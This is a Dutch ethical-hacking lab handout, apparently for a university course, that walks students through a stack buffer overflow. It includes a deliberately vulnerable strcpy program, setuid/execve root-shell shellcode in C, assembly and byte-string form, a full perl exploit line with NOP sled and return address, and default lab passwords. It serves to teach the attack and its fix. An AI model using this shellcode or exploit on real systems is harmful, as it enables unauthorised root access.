EthicalHacking-practicum stack buffer overflows.docx

57
Practicum Ethical Hacking Stack Buffer Overflows

Transcript of EthicalHacking-practicum stack buffer overflows.docx

Practicum Ethical Hacking

Stack Buffer Overflows

Ethical Hacking: Stack Buffer Overflows

InhoudsopgaveInhoudsopgave.....................................................................................................................21 Introductie....................................................................................................................4

1.1 Structuur van dit document..................................................................................42 Opdracht 1: Een stack buffer overflow bug.................................................................5

2.1 leerdoelen.............................................................................................................52.2 Voorbereiding......................................................................................................52.3 Uitleg...................................................................................................................52.4 uitvoering van de opdracht..................................................................................62.5 Conclusie.............................................................................................................8

3 Opdracht 2: Het gebruik van de Stack.........................................................................93.1 leerdoelen.............................................................................................................93.2 Voorbereiding......................................................................................................93.3 Uitleg...................................................................................................................93.4 Conclusie...........................................................................................................113.5 uitvoering van de opdracht................................................................................11

4 Opdracht 3: Shellcodes..............................................................................................134.1 leerdoelen...........................................................................................................134.2 Voorbereiding....................................................................................................134.3 Uitleg.................................................................................................................13

4.3.1 Conclusie...................................................................................................174.4 uitvoering van de opdracht................................................................................18

5 Opdracht 4: Exploiteren van een (stack) buffer overflow.........................................195.1 leerdoelen...........................................................................................................195.2 Voorbereiding....................................................................................................195.3 Uitleg.................................................................................................................195.4 uitvoering van de opdracht................................................................................21

6 Basis Concepten.........................................................................................................236.1 Memory Management........................................................................................236.2 De Pentium Architectuur...................................................................................24

6.2.1 Instructieset................................................................................................246.2.2 Registers....................................................................................................26

6.3 De Stack.............................................................................................................276.3.1 Gebruik van de stack.................................................................................276.3.2 Stack overflows.........................................................................................29

6.4 C-programma’s..................................................................................................306.5 Shellcodes en buffer overflow exploits.............................................................326.6 Gebruik van system calls in shellcodes.............................................................35

7 Practicum: het opzetten van het systeem...................................................................367.1 De testomgeving configureren (evt. thuis)........................................................36

7.1.1 Installeren gcc en gdb................................................................................367.1.2 Stack protectie...........................................................................................377.1.3 Core dumps................................................................................................37

8 Verder leesmateriaal..................................................................................................389 Referenties.................................................................................................................39

2

Ethical Hacking: Stack Buffer Overflows

3

Ethical Hacking: Stack Buffer Overflows

1 Introductie

Bij systeem hacken wordt vaak misbruik gemaakt van software bugs. Via deze bugs blijkt het mogelijk te zijn om binnen te dringen in systemen zonder dat je daarvoor de normale weg via een inlog scherm doorloopt. Met behulp van metasploit heb je ervaren hoe makkelijk dit kan zijn. De werking van de in metasploit gebruikte exploits is iets complexer. Veel van de exploits in metasploit maken misbruik van zogenaamde bffer overflow problemen in systeem software.

We zullen door middel de verschillende opdrachten in dit document uiteindelijk een buffer overflow exploiteren (misbruiken) met een shellcode. Dit is de manier die in de praktijk ook gebruikt wordt in de diverse exploits die misbruik maken van buffer overflow problemen in programmatuur. Een shellcode is een serie machinetaal instructies (hexadecimale opcodes) die geïnjecteerd wordt in het geheugen via een normale input van een programma. Deze shellcode opent dan bijvoorbeeld een shell naar de aanvaller (hier komt de naam shellcode vandaan) waarmee de aanvaller toegang krijgt tot het aangevallen systeem.

1.1 Structuur van dit document

De opdrachten die tijdens het practicum worden uitgevoerd staan in Hoofdstuk 2 t/m 5. In deze 4 opdrachten wordt op de volgende vragen ingegaan:

- Opdracht 1: Wat is een buffer overflow?- Opdracht 2: Hoe is het stack geheugen opgebouwd?- Opdracht 3: Wat is een shellcode- Opdracht 4: Hoe kan een buffer overflow bug worden geexploiteerd met een

shellcode

Hoofdstuk 6 bevat uitleg over de basis concepten die bij buffer overflow exploits aan bod komen:

- §6.1 Memory Management - §6.2 de Pentium Architectuur: Instructieset en Registers - §6.3 de Stack: Gebruik van de stack en Stack overflows - §6.4 C-Programma’s- §6.5 Shellcodes- §6.6 Gebruik system calls in shellcodes

Hoofdstuk 7 geeft uitleg over de speciale instellingen die gedaan zijn in het practicum linux systeem. Zonder deze instellingen is het practicum niet uitvoerbaar. Dez informatie is nuttig als het practicum op een zelf-geinstalleerd linux systeem uitgevoerd wordt.

4

Ethical Hacking: Stack Buffer Overflows

2 Opdracht 1: Een stack buffer overflow bug

2.1 leerdoelenDe leerdoelen van deze opdracht zijn:- kennismaking met buffer overflows zoals deze in broncode voor kunnen komen.

2.2 Voorbereiding- Lees paragraaf 6.1 door over memory management.- Lees de volgende paragraaf door ter voorbereiding van de practicum uitvoering.

2.3 UitlegOm te laten zien wat buffer overflow vulnerabilities zijn en om tevens de programmeertaal C te leren kennen beginnen we met een eenvoudig C-programma.

figuur. opdr1_vuln.c

De basis structuur van een C-programma en een introductie in de programmeertaal C wordt gegeven in de eerdere paragraaf C-programma’s. In deze paragraaf wordt dit uitgelegd aan de hand van dit programmaatje dus bestudeer deze paragraaf voor je verder gaat.

In de main() functie zie je dat het enige wat er gebeurt, is het aanroepen van de functie met de veelzeggende naam vulnerable_function. Deze functie heeft 1 input-parameter, een pointer naar een string. In dit programmaatje wordt aan de functie argv[1] meegegeven, dit is de input die vanaf de commandline is meegegeven bij opstart van het programma.

We zien in deze functie vulnerable_function dat de input die via de command-line wordt gegeven, in de variabele met de naam buffer wordt gekopieerd. Je kunt ook zien dat deze

5

#include <stdio.h>#include <string.h>

void vulnerable_function(char *input){ char buffer[256]; strcpy(buffer, input);}

int main(int argc, char **argv){ vulnerable_function(argv[1]);}

Ethical Hacking: Stack Buffer Overflows

variabele 256 karakters groot is. Het kopiëren van de input gebeurt met de strcpy() functie.

Paragraaf 6.4 bevat eventueel een iets uitgebreidere uitleg over de programmeertaal C.

2.4 uitvoering van de opdrachtVoer de volgende opdrachten uit na het lezen van dit hoofdstuk en de in het begin van dit hoofdstuk aangegeven theorie paragrafen. Maak een rapportje over hoe je deze opdrachten hebt uitgevoerd en beschrijf je bevindingen.

1. Clone een virtuele machine van de debian buffer overflow template.

2. Log in op de practicum debian machine.Op de virtuele vmware machine kan worden ingelogd met:Gebruikersnaam: studentWachtwoord: student

Het root-wachtwoord is: root

3. Open een root-terminal (zie eventueel de figuur in paragraaf 7.1)

4. Compileer het programma opdr1_vuln.c tot een executable met behulp van de gcc compiler# gcc opdr1_vuln.c -o opdr1_vuln

5. Probeer de werking van het verder nutteloze programma. Het programma print de invoer die je meegeeft op het scherm. Test het programma met een willekeurige input. Bijvoorbeeld:# ./opdr1_vuln DitIsMijnInput

6. Geef nu een wat grotere input met behulp van een perl-scriptje#./opdr1_vuln `perl -e 'print "Z" x 200'`

7. Als je nu een input geeft die veel groter is dan de beschikbare bufferruimte, dan creëer je een bufferoverflow en kan het prgramma crashen:# ./opdr1_vuln `perl -e 'print "Z" x 300'`Welke foutmelding krijg je terug als het programma crasht? Segmentation Fault

8. Probeer nu uit te vinden bij welke input-grootte het programma crash.Hint: beschikbare buffer is 256 karakters groot.

Programma crash bij input-grootte van : 260

Note: Het valt hierbij op dat de het programma niet precies crasht bij 256 of 257 karakters. De verklaring hiervoor wordt gegeven vanuit de opbouw van de stack

6

Ethical Hacking: Stack Buffer Overflows

in het procesgeheugen. De opbouw van de stack wordt beschreven in paragraaf 6.3.

9. Pas de code van de main-functie aan zodat het geen input accepteert die groter is dan 255. Maak hierbij gebruik van de functie strlen() die de lengte van een string bepaald. Let hierbij op dat het 255 is en niet de beschikbare buffer-grootte 256. Dit komt omdat een string in het geheugen altijd standaard wordt afgesloten met een 0hex. Hierdoor herkent de programma-code het einde van een string. Op de 256-ste buffer plaats komt deze 0 te staan na de string kopie. De input mag dan dus maar 255 karakters groot zijn.

Open hiervoor het bestand met de programma-code in een tekstverker, bijvoorbeeld met behulp van gedit:# ./gedit opdr1_vuln.c

Pas de programma code aan zodat de buffer overflow niet meer op kan treden. Voeg de hiervoor beschreven controle op de input lengte toe in de bron code. Het gaat om de hierna gegeven vetgedrukte code.

Je hebt nu het buffer overflow probleem opgelost! Het programma is niet meer gevoelig voor buffer overflow exploits. Compileer het programma nogmaals en test het met een te grote input.

7

#include <stdio.h>#include <string.h>

void vulnerable_function(char *input){ char buffer[256]; strcpy(buffer, input);}

int main(int argc, char **argv){

if (strlen(argv[1]) > 255) printf(“Sorry, deze input is te groot”);

else vulnerable_function(argv[1]);

}

Ethical Hacking: Stack Buffer Overflows

2.5 ConclusieDe strcpy() functie is een onveilige functie omdat deze niet controleert op de grootte van de input. Als de input groter is dan de buffer dan zal er geheugen overschreven worden dat niet gereserveerd is en hebben we dus een bufferoverflow veroorzaakt.We kunnen dit uitproberen door op de command-line een grotere input te geven dan 256 karakters. We doen dit met behulp van een Perl scriptje, dat scheelt typewerk.Als we een input van 200 karakters geven werkt het programmaatje correct:

#./opdr1_vuln `perl -e 'print "A" x 200'`buffer:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Als we echter 300 karakters invoeren dan krijgen we een buffer overflow omdat de buffer waarnaar gekopieerd wordt maar 256 karakters groot is.

Het programma crasht en we krijgen een segmentation fault. Een segmentation fault treedt op als een proces buiten zijn geheugen treedt. Wat er precies gebeurt, zien we in opdracht 2, maar nu hebben we alvast gezien hoe een programma kan crashen als er een bufferoverflow optreedt doordat er niet op de grootte van de input wordt gecontroleerd.In de gebruikte voorbeelden maken we gebruik van eenvoudige, lokaal toegankelijke programma’s. Dit soort fouten blijken echter ook vaak voor te komen in programma’s die van buiten het systeem via netwerktoegang te benaderen zijn, zoals internet explorer of andere windows componenten die vanuit het netwerk te benaderen zijn zoals winlogon. Hierbij blijkt het dan mogelijk om via normale programma input buffer overflows te veroorzaken omdat in de source code niet gecontroleerd wordt of de ontvangen input niet groter is dan verwacht.

Dat het programma dan kan crashen is nog maar het begin van de security tekortkomingen. Zoals in latere opdrachten blijkt kan hiermee ook het hele systeem worden overgenomen.

Nadat je in het practicum zelf een programma hebt doen crashen via een buffer overflow bug zullen we in de opdracht in het volgende hoofdstuk eerst eens wat preciezer gaan kijken wat er bij een bufferoverflow op de stack gebeurt.

8

Ethical Hacking: Stack Buffer Overflows

3 Opdracht 2: Het gebruik van de Stack

3.1 leerdoelenDe leerdoelen van deze opdracht zijn:- Zien wat er op de stack gebeurt bij crash door een bufferoverflow.

3.2 Voorbereiding

- Lees de volgende paragraaf door ter voorbereiding van de practicum uitvoering. Paragraaf 6.3 door bevat eventueel een wat uitgebreidere uitleg over het gebruik van de stack.

3.3 UitlegZoals uitgelegd in paragraaf 6.3 wordt bij het aanroepen van een functie een aantal zaken op de stack gezet:

- de invoer-parameters- het terugkeer adres waar na de uitvoering van de functie weer naar

teruggesprongen moet worden- de stack pointer van de aanroeper- de lokale variabelen

In ons geval is er 1 lokale variabele: buffer, een array van 255 karakters groot.De stack ziet er na aanroep van de functie vulnerable_function als volgt uit:

groei stack

parameters: adres van *input ↑ hoge adressenreturn addresscalling stack pointer (caller’s EBP)buffer (256 bytes groot)

↓ lage adressen (0x00000000)

9

Ethical Hacking: Stack Buffer Overflows

Als we het programma aanroepen met een input-parameter dan wordt deze input naar de buffer gekopieerd. Bij de aanroep ./opdr1_vuln AAAA komt de stack er als volgt uit te zien:

groei stack

parameters: adres van *input ↑ hoge adressenreturn addresscalling stack pointer (caller’s EBP)

AAAA↓ lage adressen

(0x00000000)

Als we het programma met een te grote input aanroepen dan wordt door de buffer overflow de aangrenzende geheugenplaatsen overschreven. Dus bij een aanroep:./opdr1_vuln `perl -e 'print "A" x 300'`komt de stack er als volgt uit te zien:

groei stack

AAAA ↑ hoge adressenAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

↓ lage adressen (0x00000000)

10

Ethical Hacking: Stack Buffer Overflows

Zoals je kunt zien wordt het terugkeeradres overschreven. Als de functie nu klaar is wordt geprobeerd terug te springen naar het terugkeeradres. Op deze plaats staat nu ‘AAAA’ De hexadecimale ASCII waarde van ‘A’ is 0x41. Het adres 0x41414141 valt niet binnen het adres bereik van dit proces en daardoor wordt het proces gestopt door het operating systeem en wordt een segmentation-fault teruggegeven.

3.4 ConclusieUit voorgaande uitleg blijkt dat het mogelijk is om door middel van een buffer overflow de waarde van de zogenaamde return pointer te beïnvloeden. Deze return pointer bevat het geheugenadres van de programma instructies die uitgevoerd moeten worden nadat de aangeroepen functie klaar is. Dit aanpassen van de return pointer wordt bij buffer overflow exploits gebruikt om te springen naar het begin adres van de uit te voeren exploit code.

3.5 uitvoering van de opdrachtVoer de volgende opdrachten uit en beschrijf je bevindingen.

1. Schakel de core-dumps in zoals uitgelegd in de paragraaf 7.1.3 Core dumps. # ulimit –c unlimited

Als het programma nu crasht kunnen we in de core-dump nagaan wat er ten tijde van de crash in het geheugen stond.

2. Veroorzaak een flinke buffer overflow:./opdr1_vuln `perl -e 'print "Z" x 300'`

3. Start nu de gdb-debugger op om met behulp van de core-dump de stack te analyseren op het moment van de programma crash# gdb opdr1_vuln core

4. Bekijk de inhoud van de registers ten tijde van de crash:(gdb) info registers

Wat is de waarde van de instruction pointer EIP ten tijde van de crash:

______________

5. Wat is nu de precieze reden dat het programma is gecrasht?

__________________________________________________________________

__________________________________________________________________

11

Ethical Hacking: Stack Buffer Overflows

__________________________________________________________________

__________________________________________________________________

6. Compileer nu het programmaatje opdr2_stack.c dat de inhoud van de stack op het scherm laat zien tijdens de uitvoering van het programma:# gcc opdr2_stack.c -o opdr2_stack

7. Start het programma met een normale input:# opdr2_stack QQQQQWat is het adres van de variabele x op de stack? 0x_______________Hoe zie je de input (“QQQQQ”) terug op de stack?

__________________________________________________________________

__________________________________________________________________

Wat is het terugkeeradres nadat de functie is uitgevoerd? 0x_______________

8. Zorg er nu voor dat er in het terugkeeradres op de stack de waarde 0x50515253 komt te staan.Wat voor invoer heb je gegeven op de command-line?

__________________________________________________________________

Wat zegt dit over de volgorde waarin er op het stackgeheugen geschreven wordt en hoe kun je dit verklaren?

__________________________________________________________________

__________________________________________________________________

12

Ethical Hacking: Stack Buffer Overflows

4 Opdracht 3: Shellcodes

4.1 leerdoelenDe leerdoelen van deze opdracht zijn:- Inzicht verwerven in wat shellcodes zijn en hoe ze worden gemaakt.

4.2 Voorbereiding

- Lees paragraaf 6.5 door over shellcodes.- Lees de volgende paragraaf door ter voorbereiding van de practicum uitvoering.

4.3 Uitleg

We gaan proberen om een shellcode te maken die een root-shell opent, de typische shellcode dus.

Als we dit in c-code schrijven ziet dit er ongeveer als volgt uit. Dit programma opent een shell door het sh commando aan te roepen. Als dit programma wordt opgestart door iemand met root-rechten dan wordt er een root-shell geopend.

Fig. opdr4_shellcode_source.c

Als shellcode zouden we de gecompileerde machinecode van dit programma willen gebruiken. We kunnen met gdb de assembly code bekijken van onze shell-spawning code.

13

#include <stdio.h>#include <string.h>

int main(int argc, char **argv){ char* name[2];

setuid(0); name[0]="/bin/sh"; name[1]=0x0; execve(name[0], name, 0x0);}

Ethical Hacking: Stack Buffer Overflows

Fig. assembly code van opdr4_shellcode_source

De getoonde assembly is in feite voor de mens leesbaar gemaakte machine code. De machinecode van onze potentiële shellcode ziet er eigenlijk als volgt uit. De vet-gedrukte code is onze machine code.

Fig. gdb geheugeninhoud opdr4_shellcode_source

14

# gdb opdr4_shellcode_source

(gdb) disas mainDump of assembler code for function main:0x08048394 <main+0>: lea 0x4(%esp),%ecx0x08048398 <main+4>: and $0xfffffff0,%esp0x0804839b <main+7>: pushl 0xfffffffc(%ecx)0x0804839e <main+10>: push %ebp0x0804839f <main+11>: mov %esp,%ebp0x080483a1 <main+13>: push %ecx0x080483a2 <main+14>: sub $0x24,%esp0x080483a5 <main+17>: movl $0x0,(%esp)0x080483ac <main+24>: call 0x80482c4 <setuid@plt>0x080483b1 <main+29>: movl $0x80484f8,0xfffffff4(%ebp)0x080483b8 <main+36>: movl $0x0,0xfffffff8(%ebp)0x080483bf <main+43>: mov 0xfffffff4(%ebp),%edx0x080483c2 <main+46>: movl $0x0,0x8(%esp)0x080483ca <main+54>: lea 0xfffffff4(%ebp),%eax0x080483cd <main+57>: mov %eax,0x4(%esp)0x080483d1 <main+61>: mov %edx,(%esp)0x080483d4 <main+64>: call 0x80482a4 <execve@plt>0x080483d9 <main+69>: add $0x24,%esp0x080483dc <main+72>: pop %ecx0x080483dd <main+73>: pop %ebp0x080483de <main+74>: lea 0xfffffffc(%ecx),%esp0x080483e1 <main+77>: ret0x080483e2 <main+78>: nop0x080483e3 <main+79>: nop0x080483e4 <main+80>: nop

(gdb) x/30x main0x8048394 <main>: 0x04244c8d 0xfff0e483 0x8955fc71 0xec8351e50x80483a4 <main+16>: 0x2404c724 0x00000000 0xffff13e8 0xf445c7ff0x80483b4 <main+32>: 0x080484f8 0x00f845c7 0x8b000000 0x44c7f4550x80483c4 <main+48>: 0x00000824 0x458d0000 0x244489f4 0x241489040x80483d4 <main+64>: 0xfffecbe8 0x24c483ff 0x618d5d59 0x9090c3fc0x80483e4 <main+80>: 0x90909090 0x90909090 0x90909090 0x57e589550x80483f4 <__libc_csu_fini+4>: 0x98e85356 0x81000000 0x0011e9c3 0x0cec83000x8048404 <__libc_csu_fini+20>: 0xff20838d 0xbb8dffff

Ethical Hacking: Stack Buffer Overflows

Deze machinecode gaat helaas niet werken vanwege de 0x00 bytes, hierboven grijs-gearceerd aangegeven (zie ook de uitleg over het NULL-byte probleem in paragraaf 6.5). Deze null-bytes zie je in de assembly ook terug op dezelfde adressen in bijvoorbeeld:0x080483a5 <main+17>: movl $0x0,(%esp)

Als we dit in het programma injecteren dan wordt deze reeks bytes als string behandeld en het eerste 0x00 byte wordt dan als einde van de string gezien. De rest van de code zal dan ook niet worden meegenomen en dus zal de code niet volledig op de stack terecht komen. Ook zal het return adres niet overschreven worden.

Op drie plaatsen in de assembly worden NULL-bytes gebruikt:0x080483a5 <main+17>: movl $0x0,(%esp)0x080483b8 <main+36>: movl $0x0,0xfffffff8(%ebp)0x080483c2 <main+46>: movl $0x0,0x8(%esp)

Op al deze plekken zie je dat de waarde 0 naar een bepaald adres geschreven wordt. We kunnen deze assembly echter ook op een andere manier schrijven zodat het effect hetzelfde blijft, maar er geen NULL-bytes in de machine code komen. Een andere manier om hetzelfde te bereiken is door er voor te zorgen dat er in een van de general-purpose registers (EAX, EBX, etc.) 0 ‘gemaakt wordt’ met behulp van een xor instructie:

Xorl %eax, %eax

Na dit xor instructie staat er in dit EAX-register de waarde 0. We kunnen nu deze waarde vanuit het EAX-register naar het bedoelde adres schrijven:

Movl %eax, (%esp)

Een andere manier om NULL-bytes te voorkomen is om de shellcode direct in assembler instructies te schrijven. Deze methode heeft een extra voordeel, namelijk dat het zo mogelijk is om efficiëntere (kortere) shellcodes te schrijven. Aangezien de beschikbare ruimte voor een shellcode op de stack beperkt is kan een shellcode niet onbeperkt groot zijn. De tot nu toe gebruikte assembly is niet zo groot, maar bekijk maar eens de gecompileerde assembly van een willekeurig .NET programmaatje. Bij het zelf schrijven van shellcodes in assembly kom je al snel het gebruik van system calls tegen, althans zolang we onder Linux blijven werken. [ref. 12, zie security lab bibliotheek] geeft hier uitgebreide uitleg over. Voor de liefhebbers is een korte introductie gegeven in paragraaf 6.6.

De shellcode (uit het in het security lab aanwezige boek “Penetration Testing and Network Defence” op pagina 466) is op deze principes gebaseerd om de twee benodigde syscalls setuid(0,0) en execve(“/bin/sh”, “/bin/sh”, NULL) uit te voeren.

15

Ethical Hacking: Stack Buffer Overflows

Fig. opdr4_shellcode.s

Als we deze assembly file compileren en runnen controleren we of de werking nog steeds hetzelfde is:

# gcc opdr4_shellcode.s -o opdr4_shellcode_optimized# ./opdr4_shellcode_optimizedsh-3.1$

We kunnen de machinecode byte voor byte bekijken via gdb

16

.section .text

.global mainmain: xorl %eax, %eax xorl %ebx, %ebx movb $0x46, %al int $0x80 xorl %eax, %eax xorl %edx, %edx pushl %edx pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx movb $0xb, %al int $0x80

Ethical Hacking: Stack Buffer Overflows

Als we deze bytes achter elkaar plakken hebben we onze werkende shellcode:

"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Deze shellcode kunnen we in een lopend programma injecteren in een string input. Dit gaan we in de volgende en laatste opdracht doen.

4.3.1 ConclusieEen shellcode is een kwaadaardig programma dat in de vorm van direct uitvoerbare machine code wordt geïnjecteerd in een andere lopend programma. Een shellcode moet aan bepaalde voorwaarde voldoen om als exploit code gebruikt te kunnen worden. Zo mag een shellcode meestal niet al te lang zijn en ze mag geen NULL-bytes bevatten omdat de shellcode dan niet in een string oftewel tekstinput te gebruiken is. Hierdoor is het maken van een shellcode iets meer werk dan een kwaadaardig programma compileren tot machinecode.

Nadat je dit in het practicum zelf hebt uitgevoerd zullen we in de opdracht in het volgende hoofdstuk proberen om deze shellcode in een bufferoverflow te injecteren waarbij we ook nog proberen om de return pointer (op de stack waar de ge-overflowde buffer staat) zo te beïnvloeden dat er naar het begin van de shellcode gesprongen wordt zodat de shellcode ook daadwerkelijk wordt uitgevoerd.

17

# gdb opdr4_shellcode_optimized

(gdb) x/bx main0x8048324 <main>: 0x31(gdb) x/bx main+10x8048325 <main+1>: 0xc0(gdb) x/bx main+20x8048326 <main+2>: 0x31(gdb) x/bx main+30x8048327 <main+3>: 0xdb(gdb) x/bx main+40x8048328 <main+4>: 0xb0(gdb) x/bx main+50x8048329 <main+5>: 0x46(gdb) x/bx main+60x804832a <main+6>: 0xcd(gdb) x/bx main+70x804832b <main+7>: 0x80..(gdb) x/bx main+290x8048341 <main+29>: 0xb0(gdb) x/bx main+300x8048342 <main+30>: 0x0b(gdb) x/bx main+310x8048343 <main+31>: 0xcd(gdb) x/bx main+320x8048344 <main+32>: 0x80

Ethical Hacking: Stack Buffer Overflows

4.4 uitvoering van de opdracht

Voer de volgende opdrachten uit na het lezen van dit hoofdstuk en de in het begin van dit hoofdstuk aangegeven theorie paragrafen. Maak een rapportje over hoe je deze opdrachten hebt uitgevoerd en beschrijf je bevindingen.

1. Compileer het c-programma opdr4_shellcode_source en kijk of het werkt. Het zou een root shell moeten openen:#gcc opdr4_shellcode_source.c –o opdr4_shellcode_source#./ opdr4_shellcode_source

Wat is het resultaat?: ________________________________________

2. We kunnen ook de zelf geschreven, geoptimaliseerde assembly code testen op de juiste werking. Dit levert als het goed is het volgende resultaat:

# gcc opdr4_shellcode.s -o opdr4_shellcode_optimized# ./opdr4_shellcode_optimizedsh-3.1$

Klopt dit? ___________________________________________________

3. Test welke rechten de geopende Shell heeft met het commando id# id

Wat is het resultaat van dit commando? Leg uit wat dit betekent en hoe dit komt.

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

4. Als we de hieruit gegeneerde machine code byte voor byte bij elkaar plakken hebben we een shellcode die we als string kunnen injecteren in een programma met een buffer overflow probleem. Maak zo een shellcode in string vorm om een root-shell te openen. Bewaar deze voor de volgende opdracht. Vul hieronder de string-versie van je shellcode in die je in de volgende opdracht gaat gebruiken:

_________________________________________________________________

_________________________________________________________________

18

Ethical Hacking: Stack Buffer Overflows

5 Opdracht 4: Exploiteren van een (stack) buffer overflow

5.1 leerdoelenDe leerdoelen van deze opdracht zijn:- Inzicht verwerven in hoe buffer overflows geëxploiteerd kunnen worden.

5.2 Voorbereiding- Lees de volgende paragraaf door ter voorbereiding van de practicum uitvoering.

5.3 Uitleg

Laten we nu de buffer overflow in het onveilige programmaatje uit opdracht 1 eens proberen te exploiteren met de shellcode die we in de vorige opdracht hebben gemaakt.

We willen het volgende in de buffer op de stack injecteren:- De shellcode, voorafgegaan door 'opvulling' (NOP-instructies)- op de plek van het terugkeer adres willen we het adres van de start van de shellcode invullen zodat er naar de shellcode wordt gesprongen in plaats van terug naar de main-functie.

We doen dit m.b.v. een perl scriptje.

Eerst wordt een NOP-sled gegeven om de ruimte van de buffer op te vullen die niet nodig is voor de shellcode. De shellcode is nl veel kleiner dan de buffer. (De buffer is 256 bytes, de shellcode 33 bytes). De NOP-sled is dus 256 - 33 = 223 groot.

De NOP-sled maakt ook het te kiezen terug keer adres makkelijker. Het terug keer adres moet nl. aan het begin van de shellcode komen. Met de NOP-sled is ieder adres dat in de NOP-sled valt goed als terugkeer adres.

Na de NOP-sled komt de shellcode. Met de 223 bytes van de NOP-sled en de 33 bytes van de shellcode is nu de buffer variabele precies gevuld.

Na de buffer variabele komt op de stack nog het EBP adres van main (de caller's EBP). Hierin schrijven we een willekeurige waarde 'BBBB'. Dan komen we bij het terugkeeradres. Hier willen we graag het begin adres van onze shellcode neerzetten. Door de NOP-sled hebben we wat speelruimte. Ieder adres dat binnen de NOP-sled valt is goed. Om een goed adres te vinden moeten we een beetje proberen. We weten uit opdracht 2 al dat de stack begint bij 0xc0000000. Dit is dus het hoogst mogelijke adres aangezien de stack omlaag groeit. Als eerste poging gaan we hier dus iets onder zitten, bijvoorbeeld 0xbffff000.

19

Ethical Hacking: Stack Buffer Overflows

Denk eraan dat we geen 0x00 mogen gebruiken in de string omdat dit dan als einde van de string wordt gezien en de rest niet wordt meegenomen. We gebruiken dus 0xbffff010 ipc 0xbfff0000. Om dit in de juiste volgorde te zetten moet we het adres omgekeerd invoegen, in de string dus als: 0x10 0xf0 0xff 0xbf.

./opd1_vuln `perl -e 'printf "\x90"x223 . "\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "BBBB" . "\x10\xf0\xff\xbf"'`

Dit doet het programma crashen i.p.v. een shell te openen. Met de debugger gaan we nu op zoek naar een beter adres.We openen de core-dump: #gdb opd1_vuln coreen gaan in het proces geheugen op zoek naar onze shellcode. Deze is te herkennen aan de NOP-sled met de vele 0x90 opcodes.(gdb)x/80x $espDoor op <Enter> te drukken wordt dit commando herhaald. We doen dit tot we de NOP-sled zien.

20

(gdb) x/80x $esp0xbffff9f0: 0xbffffb00 0xbffffbc6 0xbffffa18 0x080484890xbffffa00: 0xbffffa20 0xb7fd9ff4 0xbffffa68 0xb7ec1ea80xbffffa10: 0x00000000 0xb8000cc0 0xbffffa68 0xb7ec1ea80xbffffa20: 0x00000002 0xbffffa94 0xbffffaa0 0x000000000xbffffa30: 0xb7fd9ff4 0x00000000 0xb8000cc0 0xbffffa680xbffffa40: 0xbffffa20 0xb7ec1e6d 0x00000000 0x000000000xbffffa50: 0x00000000 0xb7ff6090 0xb7ec1ded 0xb8000ff40xbffffa60: 0x00000002 0x080482f0 0x00000000 0x080483110xbffffa70: 0x080483c0 0x00000002 0xbffffa94 0x080484700xbffffa80: 0x08048420 0xb7ff6c40 0xbffffa8c 0xb80014e40xbffffa90: 0x00000002 0xbffffbba 0xbffffbc6 0x000000000xbffffaa0: 0xbffffccf 0xbffffce2 0xbffffced 0xbffffd010xbffffab0: 0xbffffd11 0xbffffd49 0xbffffd5b 0xbffffd650xbffffac0: 0xbffffd95 0xbffffdc2 0xbffffdf3 0xbffffe000xbffffad0: 0xbffffe14 0xbffffe2c 0xbffffe7b 0xbffffe960xbffffae0: 0xbffffeac 0xbffffebd 0xbffffeca 0xbffffedd0xbffffaf0: 0xbffffee8 0xbffffef0 0xbfffff11 0xbfffff1e0xbffffb00: 0xbfffff80 0xbfffff8d 0xbfffffa6 0xbfffffd10xbffffb10: 0xbfffffdf 0x00000000 0x00000020 0xb7fea4000xbffffb20: 0x00000021 0xffffe000 0x00000010 0x3febfbff(gdb)0xbffffb30: 0x00000006 0x00001000 0x00000011 0x000000640xbffffb40: 0x00000003 0x08048034 0x00000004 0x000000200xbffffb50: 0x00000005 0x00000007 0x00000007 0xb7feb0000xbffffb60: 0x00000008 0x00000000 0x00000009 0x080482f00xbffffb70: 0x0000000b 0x00000000 0x0000000c 0x000000000xbffffb80: 0x0000000d 0x00000000 0x0000000e 0x000000000xbffffb90: 0x00000017 0x00000000 0x0000000f 0xbffffbab0xbffffba0: 0x00000000 0x00000000 0x69000000 0x003638360xbffffbb0: 0x00000000 0x00000000 0x2f2e0000 0x3164706f0xbffffbc0: 0x6c75765f 0x9090006e 0x90909090 0x909090900xbffffbd0: 0x90909090 0x90909090 0x90909090 0x909090900xbffffbe0: 0x90909090 0x90909090 0x90909090 0x909090900xbffffbf0: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc00: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc10: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc20: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc30: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc40: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc50: 0x90909090 0x90909090 0x90909090 0x909090900xbffffc60: 0x90909090 0x90909090 0x90909090 0x90909090

Ethical Hacking: Stack Buffer Overflows

Bij onze volgende poging kiezen we een adres dat binnen de NOP-sled valt, bijvoorbeeld 0xbffffc10.

